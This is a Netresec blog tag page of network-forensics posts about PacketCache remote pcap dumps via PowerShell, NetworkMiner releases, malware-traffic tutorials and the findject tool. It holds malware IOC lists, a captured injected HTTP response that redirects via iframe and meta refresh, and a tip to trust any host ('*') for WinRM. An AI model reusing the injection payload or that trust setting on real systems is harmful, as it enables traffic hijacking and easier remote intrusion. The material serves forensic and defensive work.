NETRESEC Network Security Blog - Tag : Netresec


Remote Packet Dumps from PacketCache

PacketCache logo

This blog post describes how to dump a packet capture (pcap file) on a remote computer, which runs the PacketCache service, and retrieve that pcap file using only PowerShell.

PacketCache is a free Windows service that continously sniffs network traffic on all interfaces (Ethernet, WiFi, 3G, LTE etc) and maintains a cache of the most recent traffic in RAM. This enables incident responders to read PCAP data out of a PC's PacketCache, for example when an IDS or anti-virus alerts on something potentially malicious. Unfortunately, there is no central management tool for PacketCache, which means that the PCAP data has to be dumped locally at the PC that triggered the IDS or AV alert.

There are a few workarounds "hacks" available to solve this problem, but the most elegant solution is to leverage PowerShell Remoting / WinRM in order to trigger a remote PacketCache instance to create a PCAP file and then copy the PCAP file through the same PowerShell session. To make things even simpler we've created a PowerShell script that can be used to download a PCAP file from any machine running PacketCache. Okay, maybe not *any* machine, the script only works on PCs that you have admin credentails for. Nevertheless, here's how you run the script from a PowerShell prompt:

PS C:\> .\ReadRemotePacketCache.ps1 DESKTOP-LT4711 Administrator
[*] Dumping PacketCache at DESKTOP-LT4711
[*] Copying PCAP dump from DESKTOP-LT4711
[*] Remote PacketCache data saved to DESKTOP-LT4711_181112_1337.pcap
PS C:\>

The ReadRemotePacketCache.ps1 script can be downloaded from the PacketCache product page.


Configuring Hosts for PowerShell Remoting

If you have not previously set up your environment for PowerShell remoting, then you will need to follow these steps before invoking the "ReadRemotePacketCache.ps1" script as above.

On the remote PC, start PowerShell as administrator and enable PowerShell remoting with the "Enable-PSRemoting" command as shown here:

PS C:\> Enable-PSRemoting -SkipNetworkProfileCheck -Force
WinRM has been updated to receive requests.
WinRM service type changed successfully.
WinRM service started.

WinRM has been updated for remote management.
WinRM firewall exception enabled.
Configured LocalAccountTokenFilterPolicy to grant administrative rights remotely
to local users.

PS C:\>

Configuring TrustedHosts for Workgroups

You will also need to set up a trust relationship between the local and remote host. If the remote PC is member of an Active Directory domain, then this trust is already in place. However, if you're in a workgroup or the computers are not in the same domain, then you will need to set the TrustedHosts item like this on both the local PC and the remote PC:

PS C:\> Set-Item WSMan:\localhost\Client\TrustedHosts [IP or Hostname of the other PC]
PS C:\> Get-Item WSMan:\localhost\Client\TrustedHosts
PS C:\> Restart-Service WinRM

Note: if you need to dump PacketCache data from several remote hosts, then you can replace the IP/hostname with '*' to trust any PC or supply a comma separated list of individual hostnames or IPs to trust.

If you've configured TrustedHosts correctly, then you should be able to run the "ReadRemotePacketCache.ps1" script as shown previously. However, if the remote PC isn't in TrustedHosts, then you'll most likely get an error message like this:

PS C:\> .\ReadRemotePacketCache.ps1 10.0.13.37 Administrator
New-PSSession : [10.0.13.37] Connecting to remote server 10.0.13.37 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.

Automating Remote Artifact Collection

With PowerShell remoting in place you're not limited to just dumping packets from a remote PacketCache service, you can also dump the RAM or copy individual files from the remote computer. This comes in handy in order to implement an automated evidence/artifact collection, for example when a high-severity alert is received by your SIEM.

There are frameworks in place that can help with aquisition of memory and files, such as Matthew Green's Invoke-LiveResponse tool, which can dump memory with WinPMEM and leverage PowerForensics to enable remote raw disk access. Some organizations even start sniffing packets at events like this, but this will only capture the traffic from after a potential compromize. This is where PacketCache comes in, since it can allow you to retrieve packets ranging back as far as a couple of days before the alert.


Credential Theft

It is recommended to use unique passwords for each local account with administrator rights. This practice is extra important if you plan to log into a potentially compromized host using administrator credentails, as described in this blog post. You might also want to lock down the local admin accounts even further in order to minimize the consequences of the admin credentials falling into the wrong hands. See Microsoft's articles on "Local Accounts" and "Attractive Accounts for Credential Theft" for more recommendations regarding how to secure local admin accounts.


PacketCache is Free

CC BY-ND PacketCache is free to use, even commercially. It is released under a Creative Commons Attribution-NoDerivatives 4.0 International License, which means that you can copy and redistribute PacketCache in any medium or format for any purpose. You can download PacketCache here:

https://www.netresec.com/?page=PacketCache

The PowerShell script presented in this blog post is also shared under the same CC license and can be downloaded from the PacketCache product page.


Credits

I'd like to thank Dick Svensson for suggesting the use of PowerShell Remoting to read PacketCache data remotely!

Posted by Erik Hjelmvik on Wednesday, 14 November 2018 08:00:00 (UTC/GMT)

Tags: #Netresec #PCAP #PacketCache #Windows

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=18B9747


NetworkMiner 2.3.2 Released!

NetworkMiner 2.3.2 was released this morning, and there was much rejoicing!

yaay
Image: U.S. Navy photo by Stuart Phillips (source)

This new release primarily fixes bugs related to extraction of emails and VoIP calls. We have also corrected a bug affecting the json/CASE export function in NetworkMiner Professional.

The OSINT domain name lookup in NetworkMiner Professional has also been extended with the crt.sh Certificate Search and DNSTrails has been replaced with SecurityTrails.

NetworkMiner Professional 2.3.2 Image: NetworkMiner Professional 2.3.2 with “vm_win7.pcap” from University of Twente’s Data Exfiltration Malware dataset loaded.

Credits

NetworkMiner 2.3.2

We’d like to thank Carlos Kasprzykowski for notifying us about the VoIP bug, which caused lots of files to be written to the %TEMP% directory when there were more than 50 simultaneous SIP+RTP calls. We also wanna thank Josh Wilczek for reporting a bug in the “User Defined Port-to-Protocol Mappings” in NetworkMiner Professional’s Settings window, which also has been fixed in the 2.3.2 release.

Upgrading to Version 2.3.2

Users who have purchased a license for NetworkMiner Professional 2.x can download a free update to version 2.3.2 from our customer portal. Those who instead prefer to use the free and open source version can grab the latest version of NetworkMiner from the official NetworkMiner page.

⛏ FOR GREAT JUSTICE! ⛏

Posted by Erik Hjelmvik on Monday, 27 August 2018 09:23:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #RTP #VoIP #SIP #email #CASE

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=188EC30


NetworkMiner 2.3 Released!

The free and open source network forensics tool NetworkMiner now comes with improved extraction of files and metadata from several protocols as well as a few GUI updates. But the biggest improvements for version 2.3 are in the commercial tool NetworkMiner Professional, which now supports VoIP call audio extraction and playback as well as OSINT lookups of file hashes, IP addresses, domain names and URLs.

I’m happy to announce that NetworkMiner 2.3 now does an even better job than before at extracting files and metadata from several protocols. Improvements have been made in the parsers for the following protocols: HTTP, IEC-104, IPv4, Modbus, SIP, SMB, SMB2, SMTP and SSL/TLS.

We have also added support for the SNMP protocol in NetworkMiner 2.3, so that SNMP community strings can be extracted and displayed on the Parameters and Credentials tabs.

SNMP Community Strings in NetworkMiner's Credential tab

Another change is that timestamps are now displayed using the UTC time zone instead of using the local time zone. We have also fixed a few GUI quirks in order to further improve the usability of the tool.


NetworkMiner Professional

The commercial version of NetworkMiner, i.e. NetworkMiner Professional, comes with several additional improvements which are presented below.

VoIP Call Playback

NetworkMiner Professional has received a new tab called “VoIP”, which enables audio playback of VoIP calls that are using SIP and RTP with G.711 μ-law or A-law encoding (u-Law is primarily used in North America and Japan while A-law is used in Europe and most other parts of the world).

Video: Audio playback and extraction to WAV from the “SIP_CALL_RTP_G711” PCAP file in the Wireshark Sample Captures.

The audio streams from the VoIP calls are also extracted to disk as .WAV files when codecs G.729 or G.711 (u-Law and A-Law) is used. NetworkMiner Professional also attempts to reassemble RTP streams encoded with G.722 to .au files.

OSINT Lookups of IP Addresses, Domains, URLs and File Hashes

Right-clicking a network host in NetworkMiner Professional’s Hosts tab brings up a context menu with options for performing lookups of IP and domain names using external sources. We refer to this method as open-source intelligence (OSINT) because the accessed data resides at publicly available sources.

OSINT IP lookup in NetworkMiner Professional 2.3

Clicking on an OSINT provider brings up a webpage with more detailed information about the selected IP address, such as IBM X-Force, mnemonic Passive DNS, Shodan, UrlQuery or VT. However, if you’re lazy like me, then you’ll probably click the “All above!” option instead, which will bring up all of the sources in separate tabs in your browser.

The full list of OSINT providers available for IP lookups includes APNIC Whois, BFK Passive DNS, Censys, Cymon, DNSTrails, ExoneraTor, Google Public DNS, GreenSnow.co, Hurricane Electric, IBM X-Force, Internet Storm Center, mnemonic Passive DNS, PacketTotal, Shodan, ThreatCrowd, ThreatMiner, UrlQuery and VirusTotal.

The domain name lookup menu contains a similar set of providers: BFK Passive DNS, Cymon, DNSTrails, Google Public DNS, Google Safe Browsing, Hybrid Analysis, IBM X-Force Exchange, mnemonic Passive DNS, MXToolBox, MyWOT, Norton Safe Web, PacketTotal, ThreatCrowd, ThreatMiner, URL Void, UrlQuery, VirusTotal, Website Informer, Webutation and Whoisology.


OSINT URL lookup in NetworkMiner Professional 2.3

Right-clicking a URL in the Browsers tab brings up a similar context menu, which additionally includes the following services for URL lookups: Google Safe Browsing, IBM X-Force, ThreatMiner, URLhaus and UrlQuery.


OSINT file hash lookup in NetworkMiner Professional 2.3

Finally, right-clicking on one of the files that NetworkMiner has extracted from a PCAP file brings up a menu for doing OSINT lookups based on the MD5 or SHA256 hash of the file. The sources used for lookups of hashes include IBM X-Force, PacketTotal, ThreatCrowd, TotalHash, UrlQuery, VirScan.org, Comodo Valkyrie, AlienVault OTX, Hybrid Analysis, ThreatMiner and VirusTotal.

Hybrid Analysis API Integration

Did you know that the malware analysis service Hybrid Analysis provides free API keys to people in the IT security community?

@HybridAnalysis: We are excited to announce that full API keys for file submissions are now available to everyone of the IT security community

This is a great move by the Hybrid Analysis team, and we’re happy to announce that we have leveraged their API in NetworkMiner Professional in order to submit files for analysis directly from within the NetworkMiner GUI. The API integration also enables you to query for an IP on Hybrid Analysis to see which previously submitted samples has communicated with that particular IP address.

Here are the steps required to enable the Hybrid Analysis API integration:


Credits

I would like to thank Chris Sistrunk, Mats Karlsson and Michael Nilsson for suggesting several of the protocol and GUI improvements that have been incorporated into this new release. I’d also like to thank Doug Green and Ahmad Nawawi for discovering and reporting bugs in the IP and SSL parser respectively.


Upgrading to Version 2.3

Users who have purchased a license for NetworkMiner Professional 2.x can download a free update to version 2.3 from our customer portal.

Those who instead prefer to use the free and open source version can grab the latest version of NetworkMiner from the official NetworkMiner page.

FOR GREAT JUSTICE!

Posted by Erik Hjelmvik on Tuesday, 03 April 2018 06:27:00 (UTC/GMT)

Tags: #NetworkMiner #PCAP #OSINT #SMTP #SIP #RTP #VoIP #Network Forensics #extract #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=1846A54


Examining Malware Redirects with NetworkMiner Professional

This network forensics video tutorial covers analysis of a malware redirect chain, where a PC is infected through the RIG Exploit Kit. A PCAP file, from Brad Duncan's malware-traffic-analysis.net website, is opened in NetworkMiner Professional in order to follow a redirect chain via a couple of hacked websites before delivering malware to the PC.

Resources
https://www.malware-traffic-analysis.net/2014/11/16/index.html
Meadgive on VirusTotal
CVE-2014-0569 Flash Exploit on VirusTotal
CVE-2012-0507 Java Exploit on VirusTotal
NetworkMiner Professional

IOCs
www.ciniholland.nl
24corp-shop.com
stand.trustandprobaterealty.com
793b698a82d999f1eb75525d050ebe16
f8482f5c4632fe237d062451b42393498a8d628ed9dee27147251f484e837a42
7b3baa7d6bb3720f369219789e38d6ab
e2e33b802a0d939d07bd8291f23484c2f68ccc33dc0655eb4493e5d3aebc0747
1e34fdebbf655cebea78b45e43520ddf
178be0ed83a7a9020121dee1c305fd6ca3b74d15836835cfb1684da0b44190d3

Check out our series of network forensic video tutorials for more tips and tricks on how to analyze captured network traffic.

Posted by Erik Hjelmvik on Monday, 26 February 2018 11:19:00 (UTC/GMT)

Tags: #Netresec #Professional #NetworkMiner #malware_traffic #malware #NSM #PCAP #videotutorial #video #tutorial

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=1829909


Analyzing Kelihos SPAM in CapLoader and NetworkMiner

This network forensics video tutorial covers how to analyze SPAM email traffic from the Kelihos botnet. The analyzed PCAP file comes from the Stratosphere IPS project, where Sebastian Garcia and his colleagues execute malware samples in sandboxes. The particular malware sample execution we are looking at this time is from the CTU-Malware-Capture-Botnet-149-2 dataset.

Resources

IOCs
990e5daa285f5c9c6398811edc68a659
e4f7fa6a0846e4649cc41d116c40f97835d3bb7d3d0391d3540482f077aa4493
6c55 5545 0310 4840

Check out our series of network forensic video tutorials for more tips and tricks on how to analyze captured network traffic.

Posted by Erik Hjelmvik on Monday, 19 February 2018 06:37:00 (UTC/GMT)

Tags: #Netresec #PCAP #CapLoader #NetworkMiner #videotutorial #video #tutorial #NetFlow #extract

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=182053B


Antivirus Scanning of a PCAP File

This second video in our series of network forensic video tutorials covers a quick and crude way to scan a PCAP file for malware. It's all done locally without having to run the PCAP through an IDS. Kudos to Lenny Hanson for showing me this little trick!

Antivirus Scanning of a PCAP File

Resources

IOCs
178.62.142.240
soquumaihi.co.vu
9fd51fb05cb0ea89185fc1355ebf047cC
8cf7b281a0db4029456e416dbe05d21d17af0cad86f67e054268f5e2c46c43ed
119.238.10.9
96b430041aed13413ec2b5ae91954f39
e79ef634265b9686f90241be0e05940354dc2c2b43d087e09bb846eec34dad35

Posted by Erik Hjelmvik on Monday, 12 February 2018 08:00:00 (UTC/GMT)

Tags: #Netresec #PCAP #video #tutorial #videotutorial #NetworkMiner #malware #malware_traffic

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=1820D24


Zyklon Malware Network Forensics Video Tutorial

We are releasing a series of network forensics video tutorials throughout the next few weeks. First up is this analysis of a PCAP file containing network traffic from the "Zyklon H.T.T.P." malware.

Analyzing a Zyklon Trojan with Suricata and NetworkMiner

Resources
https://www.malware-traffic-analysis.net/2017/07/22/index.html
https://github.com/Security-Onion-Solutions/security-onion
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2017/05/zyklon_season.pdf
http://doc.emergingthreats.net/2017930

IOCs
service.tellepizza.com
104.18.40.172
104.18.41.172
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3pre) Gecko/20070302 BonEcho/2.0.0.3pre
gate.php
.onion
98:1F:D2:FF:DC:16:B2:30:1F:11:70:82:3D:2E:A5:DC
65:8A:5C:76:98:A9:1D:66:B4:CB:9D:43:5C:DE:AD:22:38:37:F3:9C
E2:50:35:81:9F:D5:30:E1:CE:09:5D:9F:64:75:15:0F:91:16:12:02:2F:AF:DE:08:4A:A3:5F:E6:5B:88:37:D6

Posted by Erik Hjelmvik on Monday, 05 February 2018 07:30:00 (UTC/GMT)

Tags: #Netresec #PCAP #Trojan #video #tutorial #videotutorial #NetworkMiner #SecurityOnion #Suricata #malware #network #forensics #NSM #malware_traffic

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=182B4AC


Network Forensics Training in London

The Flag of the United States by Sam Howzit (CC BY 2.0)

People sometimes ask me when I will teach my network forensics class in the United States. The US is undoubtedly the country with the most advanced and mature DFIR community, so it would be awesome to be able to give my class there. However, not being a U.S. person and not working for a U.S. company makes it rather difficult for me to teach in the United States (remember what happened to Halvar Flake?).

So if you’re from the Americas and would like to take my network forensics class, then please don’t wait for me to teach my class at a venue close to you – because I probably won’t. My recommendation is that you instead attend my upcoming training at 44CON in London this September.

London Red Telephone Booth Long Exposure by negativespace.co (CC0)

The network forensics training in London will cover topics such as:

  • Analyzing a web defacement
  • Investigating traffic from a remote access trojan (njRAT)
  • Analyzing a Man-on-the-Side attack (much like QUANTUM INSERT)
  • Finding a backdoored application
  • Identifying botnet traffic through whitelisting
  • Rinse-Repeat Threat Hunting

The first day of training will focus on analysis using only open source tools. The second day will primarily cover training on commercial software from Netresec, i.e. NetworkMiner Professional and CapLoader. All students enrolling in the class will get a full 6 month license for both these commercial tools.

NetworkMiner CapLoader

Hope to see you at the 44CON training in London!

Posted by Erik Hjelmvik on Tuesday, 25 April 2017 14:33:00 (UTC/GMT)

Tags: #Netresec #Network Forensics

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=174EFE8


10 Years of NetworkMiner

I released the first version of NetworkMiner on February 16, 2007, which is exactly 10 years ago today.

NetworkMiner 0.79 in Windows XP

One of the main uses of NetworkMiner today is to reassemble file transfers from PCAP files and save the extracted files to disk. However, as you can see in the screenshot above, the early versions of NetworkMiner didn’t even have a Files tab. In fact, the task that NetworkMiner was originally designed for was simply to provide an inventory of the hosts communicating on a network.

How it all started

So, why did I start designing a passive asset detection system when I could just as well have used a port scanner like Nmap to fingerprint the devices on a network? Well, I was working with IT security at the R&D department of a major European energy company at the time. As part of my job I occasionally performed IT security audits of power plants. During these audits I typically wanted to ensure that there were no rouge or unknown devices on the network. The normal way of verifying this would be to perform an Nmap scan of the network, but that wasn’t an option for me since I was dealing with live industrial control system networks. I knew from personal experience that a network scan could cause some of the industrial control system devices to drop their network connections or even crash, so active scanning wasn’t a viable option. Instead I chose to setup a SPAN port at a central point of the network, or even install a network TAP, and then capture network traffic to a PCAP file during a few hours. I found the PCAP files being a great source, not only for identifying the hosts present at a network, but also in order to discover misconfigured devices. However, I wasn’t really happy with the tools available for visualizing the devices on the network, which is why I stated developing NetworkMiner in my spare time.

Network Forensics

As I continued improving NetworkMiner I pretty soon ended up writing my own TCP reassembly engine as well as parsers for HTTP and the CIFS protocol (a.k.a SMB). With these protocols in place I was able to extract files downloaded through HTTP or SMB to disk with NetworkMiner, which turned out to be a killer feature.

Monthly downloads of NetworkMiner from SourceForge
Image: Monthly downloads of NetworkMiner from SourceForge

With the ability to extract file transfers from PCAP files NetworkMiner steadily gained popularity as a valuable tool in the field of network forensics, which motivated me to make the tool even better. Throughout these past 10 years I have single-handedly implemented over 60 protocols in NetworkMiner, which has been a great learning experience for me.

NetworkMiner Milestones

Looking Forward

People sometimes ask me what I’m planning to add to the next version of NetworkMiner. To be honest; I never really know. In fact, I’ve realized that those with the best ideas for features or protocols to add to NetworkMiner are those who use NetworkMiner as part of their jobs, such as incident responders and digital forensics experts across the globe.

I therefore highly value feedback from users, so if you have requests for new features to be added to the next version, then please feel free to reach out and let me know!

Posted by Erik Hjelmvik on Thursday, 16 February 2017 09:11:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #NSM #ICS

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=17218C7


Network Forensics Training at TROOPERS 2017

Troopers logo with Network Forensics Training

I will come back to the awesome TROOPERS conference in Germany this spring to teach my two-day network forensics class on March 20-21.

The training will touch upon topics relevant for law enforcement as well as incident response, such as investigating a defacement, finding backdoors and dealing with a machine infected with real malware. We will also be carving lots of files, emails and other artifacts from the PCAP dataset as well as perform Rinse-Repeat Intrusion Detection in order to detect covert malicious traffic.

Day 1 - March 20, 2017

The first training day will focus on open source tools that can be used for doing network forensics. We will be using the Security Onion linux distro for this part, since it contains pretty much all the open source tools you need in order to do network forensics.

Day 2 - March 21, 2017

We will spend the second day mainly using NetworkMiner Professional and CapLoader, i.e. the commercial tools from Netresec. Each student will be provided with a free 6 month license for the latest version of NetworkMiner Professional (see our recent release of version 2.1) and CapLaoder. This is a unique chance to learn all the great features of these tools directly from the guy who develops them (me!).

NetworkMiner   CapLoader

The Venue

The Troopers conference and training will be held at the Print Media Academy (PMA) in Heidelberg, Germany.

PMA Early Morning by Alex Hauk
Print Media Academy, image credit: Alex Hauk

Keeping the class small

The number of seats in the training will be limited in order to provide a high-quality interactive training. However, keep in mind that this means that the we might run out of seats for the network forensics class!

I would like to recommend those who wanna take the training to also attend the Troopers conference on March 22-24. The conference will have some great talks, like these ones:

However, my greatest takeaway from last year's Troopers was the awesome hallway track, i.e. all the great conversations I had with all the smart people who came to Troopers.

Please note that the tickets to the Troopers conference are also limited, and they seem to sell out quite early each year. So if you are planning to attend the network forensics training, then I recommend that you buy an “All Inclusive” ticket, which includes a two-day training and a conference ticket.

You can read more about the network forensics training at the Troopers website.

UPDATE 2017-02-15

The network forensics training at Troopers is now sold out. However, there are still free seats available in our network forensics class at 44CON in London in September.

Posted by Erik Hjelmvik on Tuesday, 24 January 2017 07:20:00 (UTC/GMT)

Tags: #Netresec #Network Forensics #Troopers #NetworkMiner #CapLoader #Training #Security Onion

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=171628B


Reading cached packets with Wireshark

Would you like to sniff packets that were sent/received some minutes, hours or even days ago in Wireshark? Can't afford to buy a time machine? Then your best chance is to install PacketCache, which allows you to read OLD packets with Wireshark. Wireshark reading from PacketCache

We recently released a free tool for keeping a cache of recently sent/received network traffic in Windows. The tool, called PacketCache, is actually a Windows service that saves a copy of recent packets in RAM. The cached packets can be read simply by connecting to a named pipe called “PacketCache”, for example by using a PowerShell script as shown on the PacketCache page.

After talking to some Wireshark core developers at SharkFest Europe last week we managed to get Wireshark to read packets from PacketCache's named pipe stream. However, you will need to use Wireshark 2.3 or later to properly read from a named pipe. Unfortunately version 2.3 isn't scheduled for release until next summer (2017), so until then you'll have to use one of the automated builds instead. I usually go for the latest WiresharkPortable build, since it doesn't require installation. You can download the portable version of Wireshark 2.3 here:
https://www.wireshark.org/download/automated/win32/

Look for a file called “WiresharkPortable_2.3.[something].paf.exe”.

Follow these steps in order to read packets captured by PacketCache:

  1. Make sure you have Wireshark 2.3.0 (or later)
  2. Start Wireshark with admin rights (right-click > “Run as administrator”)
  3. Run Wireshark as administrator
  4. Press: Capture > Options
  5. Click “Manage Interfaces...”
  6. Select the “Pipes” tab
  7. Press the “+” button to add a named pipe
  8. Name the pipe “\\.\pipe\PacketCache” and press ENTER to save it
  9. PacketCache pipe interface added in Wireshark
  10. Press “OK” in the Manage Interface window.
  11. Wireshark with a PacketCache pipe interface
  12. Press “Start” to read the packets from PacketCache

Wireshark reading from PacketCache

The status field in Wireshark will say “Live capture in progress”, which is somewhat true. Wireshark will be updating the GUI live as packets are read from PacketCache, but the packets displayed can be several hours or even days old depending on when they were captured by PacketCache. The “live” capture will stop once all packets have been read from the PacketCache.

Posted by Erik Hjelmvik on Friday, 28 October 2016 14:50:00 (UTC/GMT)

Tags: #Netresec #PCAP #PacketCache #Wireshark #SharkFest

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=16A1B89


Detect TCP content injection attacks with findject

findject logo

NSA's QUANTUM INSERT attack is probably the most well-known TCP packet injection attack due to the Snowden revelations regarding how GCHQ used this method to hack into Belgacom. However, the “Five Eyes” are not the only ones who perform this type of attack on the Internet. We now release a tool to help incident responders to find these types of packet injection attacks.

Photo by Jasper Bongertz at SharkFest EU 2016

I had the opportunity to attend and present at SharkFest Europe last week. My presentation, titled “Dissecting Man-on-the-Side Attacks”, showed how TCP packet injection attacks can be analyzed if they have been recorded in a packet capture. In my talk I used a python script called “finject.py”, which reads PCAP files to find TCP packets with duplicate sequence numbers but different content. This script has previously only been shared with vetted parties, but as of my SharkFest presentation findject is now freely available for everyone.

Findject is not the first tool made available to detect TCP content injection attacks. Other detection methods include Suricata's reassembly_overlap_different_data alert, Fox-IT's Bro policy to check for inconsistencies in the first packet with payload, David Stainton's HoneyBadger and Martin Bruse's qisniff. Even though these are all great solutions we found that some of them didn't detect all TCP content injection attacks while others gave too many false positives. We also wanted to have a tool that was fast, portable and simple to use. This led us to create our own TCP injection detection tool.

python findject.py /nsm/pcap/live/*
opening /nsm/pcap/live/ppp0.150922_192034.pcap - no injections
opening /nsm/pcap/live/ppp0.150923_081337.pcap
PACKET INJECTION 42.96.141.35:80-192.168.1.254:59320 SEQ : 402877220
FIRST :
'HTTP/1.1 403 Forbidden\r\nServer: Beaver\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nContent-Length: 594\r\nConnection: close\r\n\r\n<html>\n<head>\n<meta http-equiv="Content-Type" content="textml;charset=UTF-8" />\n <style>body{background-color:#FFFFFF}</style> \n<title>TestPage</title>\n <script language="javascript" type="text/javascript">\n window.onload = function () { \n document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html"; \n }\n</script> \n</head>\n <body>\n <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe>\n </body>\n </html>\n\n'
LAST :
'HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 87\r\nConnection: close\r\n\r\n<html><head><meta http-equiv="refresh" content="0; url=\'http://id1.cn/\'"></head></html>'

opening /nsm/pcap/live/ppp0.150923_115034.pcap - no injections
opening /nsm/pcap/live/ppp0.150924_071617.pcap - no injections

In the example execution above we can see that findject.py detected an injected TCP packet in the file ppp0.150923_081337.pcap, while the other analyzed files contained no injections. The application layer data of the two conflicting TCP segments are printed to standard output with a header indicating whether the segment was the FIRST or LAST one. To find out which segment is the real one and which was the injected one we need to open the PCAP file in either Wireshark, tshark or CapLoader.

tshark -r /nsm/pcap/live/ppp0.150923_083317.pcap -Y "ip.src eq 42.96.141.35 and tcp.port eq 59320" -T fields -e frame.number -e ip.src -e ip.dst -e tcp.seq -e tcp.len -e ip.id -e ip.ttl -o "tcp.relative_sequence_numbers: false"
14 42.96.141.35 192.168.1.254 402877219 0   0x00002e36 94
25 42.96.141.35 192.168.1.254 402877220 726 0x00000d05 70
27 42.96.141.35 192.168.1.254 402877220 726 0x00000d05 69
28 42.96.141.35 192.168.1.254 402877220 170 0x00002e3e 94

The tshark execution above reveals that three packets sent from the web server's IP (42.96.141.35) are carrying data and have the same sequence number (402877220). Packet 25 and 27 are actually identical, while packet 28 is smaller (170 bytes) and has a different payload. The first displayed frame in the tshark output above is the SYN+ACK packet from the TCP 3-way handshake.

So how can we determine which of packets 25, 27 and 28 are real verses injected? Look at the IP-ID and IP-TTL values! Frame 28 has IP-ID and TTL values in line with what we see in the TCP 3-way handshake (TTL=94, IP-ID=0x00002e3e), which implies that this packet is probably authentic. Frames 25 and 27 on the other hand deviate from what we would expect from the server, which tells us that these packets were likely injected (spoofed) into the TCP session through a “man-on-the-side” attack.

findject logo

To learn more about findject.py and download the tool, please visit: https://www.netresec.com/?page=findject

Example captures containing TCP content injection attacks can be found on our Publicly Available PCAP Files page under the “Packet Injection Attacks / Man-on-the-Side Attacks” section.

You can also read our blog posts Covert Man-on-the-Side Attacks and Packet Injection Attacks in the Wild to learn more about TCP packet injection attacks.

Posted by Erik Hjelmvik on Tuesday, 25 October 2016 08:45:00 (UTC/GMT)

Tags: #Netresec #PCAP #packet injection #find #python #SharkFest

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=16AC723


Bug Bounty PCAP T-shirts

As of today we officially launch the 'Netresec Bug Bounty Program'. Unfortunately we don't have the financial muscles of Microsoft, Facebook or Google, so instead of money we'll be giving away t-shirts.

PCAP or it didn't happen t-shirt
Image: PCAP or it didn't happen t-shirt

To be awarded with one of our 'PCAP or it didn't happen' t-shirts you will have to:

  • Be able to reliably crash the latest version of NetworkMiner or CapLoader, or at least make the tool misbehave in some exceptional way.
  • Send a PCAP file that can be used to trigger the bug to info[at]netresec.com.

Those who find bugs will also receive an honorable mention in our blog post covering the release of the new version containing the bug fix.

Additionally, submissions that play a key-role in mitigating high-severity security vulnerabilities or addressing very important bugs will be awarded with a free license of either NetworkMiner Professional or the full commercial version of CapLoader.

Happy BugBounty Hunting!

Posted by Erik Hjelmvik on Tuesday, 27 September 2016 09:27:00 (UTC/GMT)

Tags: #NetworkMiner #CapLoader #PCAP #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=169D9B1


Network Forensics Training at TROOPERS

Troopers logo with Network Forensics Training

I'm happy to announce that I will teach a two-day Network Forensics class at the upcoming Troopers conference in March! The first day of training (March 14) will cover how to use open source tools to analyze intrusions and malware in captured network traffic. On day two (March 15) I will show attendees some tips and tricks for how to use software developed by us at Netresec, i.e. NetworkMiner Professional and CapLoader. This training is a rare opportunity to learn how to use this software directly from the main developer (me). Everyone taking the class will also get a free 6 month personal license for both NetworkMiner Pro and CapLoader.


Scenario and Dataset

The dataset analyzed in the class has been created using REAL physical machines and a REAL internet connection. All traffic on the network is captured to PCAP files by a SecurityOnion sensor. The scenario includes events, such as:

  • Web Defacement
  • Man-on-the-Side (MOTS) attack (much like NSA/GCHQ's QUANTUM INSERT)
  • Backdoor infection through trojanized software
  • Spear phishing
  • Use of a popular RAT (njRAT) for remote access and exfiltration
  • Infection with real malware

Class attendees will learn to analyze captured network traffic from these events in order to:

  • Investigate web server compromises and defacements
  • Detect Man-on-the-Side attacks
  • Identify covert backdoors
  • Reassemble incoming emails and attachments
  • Detect and decode RAT/backdoor traffic
  • Detect malicious traffic without having to rely on blacklists, AV or third-party detection services

Training Room
Training room at TROOPERS'15

For more details about the training, please visit Netresec's or Troopers' training pages:
http://www.netresec.com/?page=Training
https://www.troopers.de/events/troopers16/576_network_forensics/

 Print Media Academy in Heidelberg

The Venue

The TROOPERS conference and training take place at the Print Media Academy in Heidelberg, Germany. For more info about travel and accommodation, please visit:
https://www.troopers.de/troopers16/travel/

Hope to see you at TROOPERS16 in Heidelberg, Germany!


Posted by Erik Hjelmvik on Tuesday, 15 December 2015 10:53:00 (UTC/GMT)

Tags: #Netresec #PCAP #Troopers #Network Forensics #Training #Class #NetworkMiner #CapLoader

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=15C5EC9


Two-day Network Forensics Class in Stockholm

Network Forensics Training in Stockholm

We are running a two-day Network Forensics class in Stockholm on 15-16th of September.

SEC-T.org logo Our class is held the days before the SEC-T conference, which is a great technical information security conference in Stockholm, and at the same venue (Nalen). Visitors can thereby plan 4 days of training and conferencing in Stockholm without having to transfer between hotels.

